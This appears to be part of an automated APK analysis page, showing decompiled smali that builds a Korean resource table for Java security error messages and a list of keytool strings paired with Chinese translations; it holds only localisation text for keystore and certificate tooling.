                                                                              2895const-string v3, "type can\'t be null"
                                                                              2896aput-object v3, v2, v4
                                                                              2898const-string v3, "\uc720\ud615\uc740 null\uc77c \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2899aput-object v3, v2, v5
                                                                              2900aput-object v2, v0, v1
                                                                              2901const/16 v1, 0x142
                                                                              2902new-array v2, v6, [Ljava/lang/Object;
                                                                              2904const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2905aput-object v3, v2, v4
                                                                              2907const-string v3, "Keystore \uc9c0\uc815 \uc5c6\uc774 keystorePasswordURL\uc744 \uc9c0\uc815\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2908aput-object v3, v2, v5
                                                                              2909aput-object v2, v0, v1
                                                                              2910const/16 v1, 0x143
                                                                              2911new-array v2, v6, [Ljava/lang/Object;
                                                                              2913const-string v3, "expected keystore type"
                                                                              2914aput-object v3, v2, v4
                                                                              2916const-string v3, "keystore \uc720\ud615\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4."
                                                                              2917aput-object v3, v2, v5
                                                                              2918aput-object v2, v0, v1
                                                                              2919const/16 v1, 0x144
                                                                              2920new-array v2, v6, [Ljava/lang/Object;
                                                                              2922const-string v3, "expected keystore provider"
                                                                              2923aput-object v3, v2, v4
                                                                              2925const-string v3, "keystore \uacf5\uae09\uc790\uac00 \uc608\uc0c1\ub429\ub2c8\ub2e4."
                                                                              2926aput-object v3, v2, v5
                                                                              2927aput-object v2, v0, v1
                                                                              2928const/16 v1, 0x145
                                                                              2929new-array v2, v6, [Ljava/lang/Object;
                                                                              2931const-string v3, "multiple Codebase expressions"
                                                                              2932aput-object v3, v2, v4
                                                                              2934const-string v3, "\ubcf5\uc218 Codebase \ud45c\ud604\uc2dd"
                                                                              2935aput-object v3, v2, v5
                                                                              2936aput-object v2, v0, v1
                                                                              2937const/16 v1, 0x146
                                                                              2938new-array v2, v6, [Ljava/lang/Object;
                                                                              2940const-string v3, "multiple SignedBy expressions"
                                                                              2941aput-object v3, v2, v4
                                                                              2943const-string v3, "\ubcf5\uc218 SignedBy \ud45c\ud604\uc2dd"
                                                                              2944aput-object v3, v2, v5
                                                                              2945aput-object v2, v0, v1
                                                                              2946const/16 v1, 0x147
                                                                              2947new-array v2, v6, [Ljava/lang/Object;
                                                                              2949const-string v3, "SignedBy has empty alias"
                                                                              2950aput-object v3, v2, v4
                                                                              2952const-string v3, "SignedBy\uc5d0 \ube44\uc5b4 \uc788\ub294 \ubcc4\uce6d\uc774 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              2953aput-object v3, v2, v5
                                                                              2954aput-object v2, v0, v1
                                                                              2955const/16 v1, 0x148
                                                                              2956new-array v2, v6, [Ljava/lang/Object;
                                                                              2958const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2959aput-object v3, v2, v4
                                                                              2961const-string v3, "\uc640\uc77c\ub4dc\uce74\ub4dc \uc774\ub984 \uc5c6\uc774 \uc640\uc77c\ub4dc\uce74\ub4dc \ud074\ub798\uc2a4\ub97c \uac00\uc9c4 Principal\uc744 \uc9c0\uc815\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "codeBase, SignedBy \ub610\ub294 Principal\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4."
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "\uc0ac\uc6a9 \uad8c\ud55c \ud56d\ubaa9\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4."
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "\ubc88\ud638 "
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "[{0}]\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4. [EOF]\ub97c \uc77d\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "[;]\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4. [EOF]\ub97c \uc77d\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "\ud589 {0}: {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "\ud589 {0}: [{1}]\uc744(\ub97c) \uc608\uc0c1\ud588\ub294\ub370, [{2}]\uc774(\uac00) \ubc1c\uacac\ub418\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "principalClass \ub610\ub294 principalName\uc774 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "PKCS11 \ud1a0\ud070 [{0}] \uc554\ud638: "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "\uc8fc\uc81c \uae30\ubc18 \uc815\ucc45\uc744 \uc778\uc2a4\ud134\uc2a4\ud654\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              3052aput-object v3, v2, v5
                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources_ko;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • keytool\u9519\u8bef\uff1a
                                                                              • Illegal option:
                                                                              • \u975e\u6cd5\u9009\u9879\uff1a
                                                                              • Try keytool -help
                                                                              • \u5c1d\u8bd5 keytool -help
                                                                              • Command option <flag> needs an argument.
                                                                              • \u547d\u4ee4\u9009\u9879 {0} \u9700\u8981\u4e00\u4e2a\u53c2\u6570\u3002
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • \u8b66\u544a: PKCS12 KeyStores \u4e0d\u652f\u6301\u5176\u4ed6\u5b58\u50a8\u548c\u5bc6\u94a5\u53e3\u4ee4\u3002\u5ffd\u7565\u7528\u6237\u6307\u5b9a\u7684 {0} \u503c\u3002
                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • \u5982\u679c -storetype \u4e3a {0}\uff0c\u5219 -keystore \u5fc5\u987b\u4e3a NONE
                                                                              • Too may retries, program terminated
                                                                              • \u91cd\u8bd5\u6b21\u6570\u8fc7\u591a\uff0c\u7a0b\u5e8f\u5df2\u7ec8\u6b62
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • \u5982\u679c -storetype \u4e3a {0}\uff0c\u5219\u4e0d\u652f\u6301 -storepasswd \u548c -keypasswd \u547d\u4ee4
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • \u5982\u679c -storetype \u4e3a PKCS12\uff0c\u5219\u4e0d\u652f\u6301 -keypasswd \u547d\u4ee4
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • \u5982\u679c -storetype \u4e3a {0}\uff0c\u5219\u4e0d\u80fd\u6307\u5b9a -keypass \u548c -new
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • \u5982\u679c\u6307\u5b9a\u4e86 -protected\uff0c\u5219\u4e0d\u8981\u6307\u5b9a -storepass\u3001-keypass \u548c -new
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • \u5982\u679c\u6307\u5b9a\u4e86 -srcprotected\uff0c\u5219\u4e0d\u80fd\u6307\u5b9a -srcstorepass \u548c -srckeypass
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • \u5982\u679c\u5bc6\u94a5\u5e93\u672a\u53d7\u5bc6\u7801\u4fdd\u62a4\uff0c\u5219\u8bf7\u52ff\u6307\u5b9a -storepass\u3001-keypass \u548c -new
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • \u5982\u679c\u6e90\u5bc6\u94a5\u5e93\u672a\u53d7\u5bc6\u7801\u4fdd\u62a4\uff0c\u5219\u8bf7\u52ff\u6307\u5b9a -srcstorepass \u548c -srckeypass
                                                                              • Validity must be greater than zero
                                                                              • \u6709\u6548\u6027\u5fc5\u987b\u5927\u4e8e\u96f6
                                                                              • provName not a provider
                                                                              • {0}\u4e0d\u662f\u4e00\u4e2a\u63d0\u4f9b\u8005
                                                                              • Usage error: no command provided
                                                                              • \u7528\u6cd5\u9519\u8bef: \u6ca1\u6709\u63d0\u4f9b\u547d\u4ee4
                                                                              • Usage error, <arg> is not a legal command
                                                                              • \u7528\u6cd5\u9519\u8bef\uff0c{0} \u4e0d\u662f\u5408\u6cd5\u7684\u547d\u4ee4
                                                                              • Source keystore file exists, but is empty:
                                                                              • \u6e90\u5bc6\u94a5\u5e93\u6587\u4ef6\u5b58\u5728\uff0c\u4f46\u4e3a\u7a7a:
                                                                              • Please specify -srckeystore
                                                                              • \u8bf7\u6307\u5b9a -srckeystore
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • \u4e0d\u5f97\u4ee5\u300c\u5217\u8868\u300d\u6307\u4ee4\u6765\u6307\u5b9a-v \u53ca-rfc
                                                                              • Key password must be at least 6 characters
                                                                              • \u5173\u952e\u5bc6\u7801\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26
                                                                              • New password must be at least 6 characters
                                                                              • \u65b0\u5bc6\u7801\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26
                                                                              • Keystore file exists, but is empty:
                                                                              • Keystore\u6587\u4ef6\u5b58\u5728\uff0c\u4f46\u4e3a\u7a7a\u6587\u4ef6\uff1a
                                                                              • Keystore file does not exist:
                                                                              • Keystore \u6587\u4ef6\u4e0d\u5b58\u5728\uff1a
                                                                              • Must specify destination alias
                                                                              • \u5fc5\u987b\u6307\u5b9a\u76ee\u7684\u5730\u522b\u540d
                                                                              • Must specify alias
                                                                              • \u5fc5\u987b\u6307\u5b9a\u522b\u540d
                                                                              • Keystore password must be at least 6 characters
                                                                              • Keystore \u5bc6\u7801\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26
                                                                              • Enter keystore password:
                                                                              • \u8f93\u5165keystore\u5bc6\u7801\uff1a
                                                                              • Enter source keystore password:
                                                                              • \u8f93\u5165\u6e90\u5bc6\u94a5\u5e93\u53e3\u4ee4:
                                                                              • Enter destination keystore password:
                                                                              • \u8f93\u5165\u76ee\u6807\u5bc6\u94a5\u5e93\u53e3\u4ee4:
                                                                              • Keystore password is too short - must be at least 6 characters
                                                                              • Keystore \u5bc6\u7801\u592a\u77ed -\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26
                                                                              • Unknown Entry Type
                                                                              • \u672a\u77e5\u9879\u7c7b\u578b
                                                                              • Too many failures. Alias not changed
                                                                              • \u9519\u8bef\u8fc7\u591a\u3002\u672a\u66f4\u6539\u522b\u540d
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • \u5df2\u6210\u529f\u5bfc\u5165\u522b\u540d {0} \u9879\u3002
                                                                              • Entry for alias <alias> not imported.
                                                                              • \u672a\u5bfc\u5165\u522b\u540d {0} \u9879\u3002
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • \u5bfc\u5165\u522b\u540d {0} \u9879\u65f6\u51fa\u73b0\u95ee\u9898: {1}\u3002\n\u672a\u5bfc\u5165\u522b\u540d {0} \u9879\u3002
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • \u5df2\u5b8c\u6210\u5bfc\u5165\u547d\u4ee4: {0} \u9879\u6210\u529f\u5bfc\u5165\uff0c{1} \u9879\u5931\u8d25\u6216\u53d6\u6d88
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • \u8b66\u544a: \u6b63\u5728\u8986\u76d6\u76ee\u6807\u5bc6\u94a5\u5e93\u4e2d\u7684\u73b0\u6709\u522b\u540d {0}
                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • \u5b58\u5728\u73b0\u6709\u9879\u522b\u540d {0}\uff0c\u662f\u5426\u8981\u8986\u76d6\uff1f[\u5426]:
                                                                              • Too many failures - try later
                                                                              • \u592a\u591a\u9519\u8bef - \u8bf7\u7a0d\u540e\u518d\u8bd5
                                                                              • Certification request stored in file <filename>
                                                                              • \u4fdd\u5b58\u5728\u6587\u4ef6\u4e2d\u7684\u8ba4\u8bc1\u8981\u6c42 <{0}>
                                                                              • Submit this to your CA
                                                                              • \u5c06\u6b64\u63d0\u4ea4\u7ed9\u60a8\u7684CA
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • \u5982\u679c\u6ca1\u6709\u6307\u5b9a\u522b\u540d\uff0c\u5219\u4e0d\u80fd\u6307\u5b9a\u76ee\u6807\u522b\u540d\u3001\u6e90\u5bc6\u94a5\u5e93\u53e3\u4ee4\u548c\u76ee\u6807\u5bc6\u94a5\u5e93\u53e3\u4ee4
                                                                              • Certificate stored in file <filename>
                                                                              • \u4fdd\u5b58\u5728\u6587\u4ef6\u4e2d\u7684\u8ba4\u8bc1 <{0}>
                                                                              • Certificate reply was installed in keystore
                                                                              • \u8ba4\u8bc1\u56de\u590d\u5df2\u5b89\u88c5\u5728 keystore\u4e2d
                                                                              • Certificate reply was not installed in keystore
                                                                              • \u8ba4\u8bc1\u56de\u590d\u672a\u5b89\u88c5\u5728 keystore\u4e2d
                                                                              • Certificate was added to keystore
                                                                              • \u8ba4\u8bc1\u5df2\u6dfb\u52a0\u81f3keystore\u4e2d
                                                                              • Certificate was not added to keystore
                                                                              • \u8ba4\u8bc1\u672a\u6dfb\u52a0\u81f3keystore\u4e2d
                                                                              • [Storing ksfname]
                                                                              • [\u6b63\u5728\u5b58\u50a8 {0}]
                                                                              • alias has no public key (certificate)
                                                                              • {0} \u6ca1\u6709\u516c\u5f00\u91d1\u94a5\uff08\u8ba4\u8bc1\uff09
                                                                              • Cannot derive signature algorithm
                                                                              • \u65e0\u6cd5\u53d6\u5f97\u7b7e\u540d\u7b97\u6cd5
                                                                              • Alias <alias> does not exist
                                                                              • \u522b\u540d <{0}> \u4e0d\u5b58\u5728
                                                                              • Alias <alias> has no certificate
                                                                              • \u522b\u540d <{0}> \u6ca1\u6709\u8ba4\u8bc1
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • \u6ca1\u6709\u521b\u5efa\u952e\u503c\u5bf9\uff0c\u522b\u540d <{0}> \u5df2\u7ecf\u5b58\u5728
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • \u6b63\u5728\u4e3a\u4ee5\u4e0b\u5bf9\u8c61\u751f\u6210 {0} \u4f4d {1} \u5bc6\u94a5\u5bf9\u548c\u81ea\u7b7e\u540d\u8bc1\u4e66 ({2})\uff08\u6709\u6548\u671f\u4e3a {3} \u5929\uff09:\n\t {4}
                                                                              • Enter key password for <alias>
                                                                              • \u8f93\u5165<{0}>\u7684\u4e3b\u5bc6\u7801
                                                                              • \t(RETURN if same as keystore password):
                                                                              • \t\uff08\u5982\u679c\u548c keystore \u5bc6\u7801\u76f8\u540c\uff0c\u6309\u56de\u8f66\uff09\uff1a
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • \u4e3b\u5bc6\u7801\u592a\u77ed -\u81f3\u5c11\u5fc5\u987b\u4e3a 6 \u4e2a\u5b57\u7b26
                                                                              • Too many failures - key not added to keystore
                                                                              • \u592a\u591a\u9519\u8bef - \u952e\u503c\u672a\u88ab\u6dfb\u52a0\u81f3keystore\u4e2d
                                                                              • Destination alias <dest> already exists
                                                                              • \u76ee\u7684\u5730\u522b\u540d <{0}> \u5df2\u7ecf\u5b58\u5728
                                                                              • Password is too short - must be at least 6 characters
                                                                              • \u5bc6\u7801\u592a\u77ed -\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26
                                                                              • Too many failures. Key entry not cloned
                                                                              • \u592a\u591a\u9519\u8bef\u3002\u952e\u503c\u8f93\u5165\u672a\u88ab\u590d\u5236
                                                                              • key password for <alias>
                                                                              • <{0}> \u7684\u4e3b\u5bc6\u7801
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • <{0}> \u7684 Keystore \u8f93\u5165\u5df2\u7ecf\u5b58\u5728
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • \u521b\u5efa <{0}> \u7684 keystore\u8f93\u5165...
                                                                              • No entries from identity database added
                                                                              • \u4ece\u6dfb\u52a0\u7684\u8fa8\u8bc6\u6570\u636e\u5e93\u4e2d\uff0c\u6ca1\u6709\u8f93\u5165
                                                                              • Alias name: alias
                                                                              • \u522b\u540d\u540d\u79f0\uff1a {0}
                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • \u521b\u5efa\u65e5\u671f\uff1a {0,date}
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • \u9879\u7c7b\u578b: {0}
                                                                              • Certificate chain length:
                                                                              • \u8ba4\u8bc1\u94fe\u957f\u5ea6\uff1a
                                                                              • Certificate[(i + 1)]:
                                                                              • \u8ba4\u8bc1 [{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • \u8ba4\u8bc1\u6307\u7eb9 (MD5)\uff1a
                                                                              • Entry type: trustedCertEntry\n
                                                                              • \u8f93\u5165\u7c7b\u578b\uff1a trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • Keystore \u7c7b\u578b\uff1a
                                                                              • Keystore provider:
                                                                              • Keystore \u63d0\u4f9b\u8005\uff1a
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • \u60a8\u7684 keystore \u5305\u542b {0,number,integer} \u8f93\u5165
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Failed to parse input
                                                                              • \u65e0\u6cd5\u5bf9\u8f93\u5165\u8fdb\u884c\u8bed\u6cd5\u5206\u6790
                                                                              • Empty input
                                                                              • \u7a7a\u8f93\u5165
                                                                              • Not X.509 certificate
                                                                              • \u975e X.509 \u8ba4\u8bc1
                                                                              • alias has no public key
                                                                              • {0} \u65e0\u516c\u7528\u5bc6\u94a5
                                                                              • alias has no X.509 certificate
                                                                              • {0} \u65e0 X.509 \u8ba4\u8bc1
                                                                              • New certificate (self-signed):
                                                                              • \u65b0\u8ba4\u8bc1\uff08\u81ea\u6211\u7b7e\u7f72\uff09\uff1a
                                                                              • Reply has no certificates
                                                                              • \u56de\u590d\u4e2d\u6ca1\u6709\u8ba4\u8bc1
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • \u8ba4\u8bc1\u672a\u8f93\u5165\uff0c\u522b\u540d <{0}> \u5df2\u7ecf\u5b58\u5728
                                                                              • Input not an X.509 certificate
                                                                              • \u6240\u8f93\u5165\u7684\u4e0d\u662f\u4e00\u4e2a X.509 \u8ba4\u8bc1
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • \u5728 <{0}> \u7684\u522b\u540d\u4e4b\u4e0b\uff0c\u8ba4\u8bc1\u5df2\u7ecf\u5b58\u5728 keystore \u4e2d
                                                                              • Do you still want to add it? [no]:
                                                                              • \u60a8\u4ecd\u7136\u60f3\u8981\u6dfb\u52a0\u5b83\u5417\uff1f [\u5426]\uff1a
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • \u5728 <{0}> \u7684\u522b\u540d\u4e4b\u4e0b\uff0c\u8ba4\u8bc1\u5df2\u7ecf\u5b58\u5728\u4e8e CA keystore \u6574\u4e2a\u7cfb\u7edf\u4e4b\u4e2d
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • \u60a8\u4ecd\u7136\u60f3\u8981\u5c06\u5b83\u6dfb\u52a0\u5230\u81ea\u5df1\u7684keystore \u5417\uff1f [\u5426]\uff1a
                                                                              • Trust this certificate? [no]:
                                                                              • \u4fe1\u4efb\u8fd9\u4e2a\u8ba4\u8bc1\uff1f [\u5426]\uff1a
                                                                              • YES
                                                                              • \u662f
                                                                              • New prompt:
                                                                              • \u65b0 {0}\uff1a
                                                                              • Passwords must differ
                                                                              • \u5fc5\u987b\u662f\u4e0d\u540c\u7684\u5bc6\u7801
                                                                              • Re-enter new prompt:
                                                                              • \u91cd\u65b0\u8f93\u5165\u65b0 {0}\uff1a
                                                                              • Re-enter new password:
                                                                              • \u518d\u6b21\u8f93\u5165\u65b0\u5bc6\u7801:
                                                                              • They don\'t match. Try again
                                                                              • \u5b83\u4eec\u4e0d\u5339\u914d\u3002\u8bf7\u91cd\u8bd5
                                                                              • Enter prompt alias name:
                                                                              • \u8f93\u5165 {0} \u522b\u540d\u540d\u79f0\uff1a
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • \u8f93\u5165\u65b0\u7684\u522b\u540d\t\uff08\u6309\u56de\u8f66\u952e\u4ee5\u53d6\u6d88\u5bf9\u6b64\u9879\u7684\u5bfc\u5165\uff09:
                                                                              • Enter alias name:
                                                                              • \u8f93\u5165\u522b\u540d\u540d\u79f0\uff1a
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t\uff08\u5982\u679c\u548c <{0}> \u7684\u76f8\u540c\uff0c\u6309\u56de\u8f66\uff09
                                                                              • *PATTERN* printX509Cert
                                                                              • \u6240\u6709\u8005:{0}\n\u7b7e\u53d1\u4eba:{1}\n\u5e8f\u5217\u53f7:{2}\n\u6709\u6548\u671f: {3} \u81f3{4}\n\u8bc1\u4e66\u6307\u7eb9:\n\t MD5:{5}\n\t SHA1:{6}\n\t \u7b7e\u540d\u7b97\u6cd5\u540d\u79f0:{7}\n\t \u7248\u672c: {8}
                                                                              • What is your first and last name?
                                                                              • \u60a8\u7684\u540d\u5b57\u4e0e\u59d3\u6c0f\u662f\u4ec0\u4e48\uff1f
                                                                              • What is the name of your organizational unit?
                                                                              • \u60a8\u7684\u7ec4\u7ec7\u5355\u4f4d\u540d\u79f0\u662f\u4ec0\u4e48\uff1f
                                                                              • What is the name of your organization?
                                                                              • \u60a8\u7684\u7ec4\u7ec7\u540d\u79f0\u662f\u4ec0\u4e48\uff1f
                                                                              • What is the name of your City or Locality?
                                                                              • \u60a8\u6240\u5728\u7684\u57ce\u5e02\u6216\u533a\u57df\u540d\u79f0\u662f\u4ec0\u4e48\uff1f
                                                                              • What is the name of your State or Province?
                                                                              • \u60a8\u6240\u5728\u7684\u5dde\u6216\u7701\u4efd\u540d\u79f0\u662f\u4ec0\u4e48\uff1f
                                                                              • What is the two-letter country code for this unit?
                                                                              • \u8be5\u5355\u4f4d\u7684\u4e24\u5b57\u6bcd\u56fd\u5bb6\u4ee3\u7801\u662f\u4ec0\u4e48
                                                                              • Is <name> correct?
                                                                              • {0} \u6b63\u786e\u5417\uff1f
                                                                              • no
                                                                              • \u5426
                                                                              • yes
                                                                              • y
                                                                              • [defaultValue]:
                                                                              • [{0}]\uff1a
                                                                              • Alias <alias> has no key
                                                                              • \u522b\u540d <{0}> \u6ca1\u6709\u5bc6\u94a5
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • \u522b\u540d <{0}> \u5f15\u7528\u4e86\u4e0d\u5c5e\u4e8e\u4e13\u7528\u5bc6\u94a5\u9879\u7684\u9879\u7c7b\u578b\u3002-keyclone \u547d\u4ee4\u4ec5\u652f\u6301\u5bf9\u4e13\u7528\u5bc6\u94a5\u9879\u7684\u514b\u9686
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • ***************** \u8b66\u544a \u8b66\u544a \u8b66\u544a *****************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • *\u4fdd\u5b58\u5728\u60a8\u7684 keystore \u4e2d\u6570\u636e\u7684\u5b8c\u6574\u6027 *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * srckeystore \u4e2d\u6240\u5b58\u50a8\u7684\u4fe1\u606f\u7684\u5b8c\u6574\u6027*
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * \u5c1a\u672a\u88ab\u9a8c\u8bc1\uff01 \u4e3a\u4e86\u9a8c\u8bc1\u5176\u5b8c\u6574\u6027\uff0c *
                                                                              • * you must provide your keystore password. *
                                                                              • * \u60a8\u5fc5\u987b\u63d0\u4f9b\u60a8 keystore \u7684\u5bc6\u7801\u3002 *
                                                                              • * you must provide the srckeystore password. *
                                                                              • * \u60a8\u5fc5\u987b\u63d0\u4f9b\u6e90\u5bc6\u94a5\u5e93\u53e3\u4ee4\u3002 *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • \u8ba4\u8bc1\u56de\u590d\u5e76\u672a\u5305\u542b <{0}> \u7684\u516c\u7528\u5bc6\u94a5
                                                                              • Incomplete certificate chain in reply
                                                                              • \u56de\u590d\u4e2d\u7684\u8ba4\u8bc1\u94fe\u4e0d\u5b8c\u6574
                                                                              • Certificate chain in reply does not verify:
                                                                              • \u56de\u590d\u4e2d\u7684\u8ba4\u8bc1\u94fe\u672a\u9a8c\u8bc1\uff1a
                                                                              • Top-level certificate in reply:\n
                                                                              • \u56de\u590d\u4e2d\u7684\u6700\u9ad8\u7ea7\u8ba4\u8bc1\uff1a\n
                                                                              • ... is not trusted.
                                                                              • ... \u662f\u4e0d\u53ef\u4fe1\u7684\u3002
                                                                              • Install reply anyway? [no]:
                                                                              • \u8fd8\u662f\u8981\u5b89\u88c5\u56de\u590d\uff1f [\u5426]\uff1a
                                                                              • NO
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • \u56de\u590d\u4e2d\u7684\u516c\u7528\u5bc6\u94a5\u4e0e keystore \u4e0d\u7b26
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • \u8ba4\u8bc1\u56de\u590d\u4e0ekeystore\u4e2d\u7684\u8ba4\u8bc1\u662f\u76f8\u540c\u7684
                                                                              • Failed to establish chain from reply
                                                                              • \u65e0\u6cd5\u4ece\u56de\u590d\u4e2d\u5efa\u7acb\u94fe\u63a5
                                                                              • n
                                                                              • Wrong answer, try again
                                                                              • \u9519\u8bef\u7684\u7b54\u6848\uff0c\u8bf7\u518d\u8bd5\u4e00\u6b21
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • \u6ca1\u6709\u751f\u6210\u5bc6\u94a5\uff0c\u522b\u540d <{0}> \u5df2\u7ecf\u5b58\u5728
                                                                              • Please provide -keysize for secret key generation
                                                                              • \u8bf7\u63d0\u4f9b -keysize \u4ee5\u751f\u6210\u5bc6\u94a5
                                                                              • keytool usage:\n
                                                                              • keytool \u7528\u6cd5\uff1a\n
                                                                              • Extensions:
                                                                              • \u6269\u5c55:
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-alias <\u522b\u540d>] [-sigalg <sigalg>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-file <csr_file>] [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-keystore <\u5bc6\u94a5\u5e93>] [-storepass <\u5b58\u50a8\u5e93\u53e3\u4ee4>]
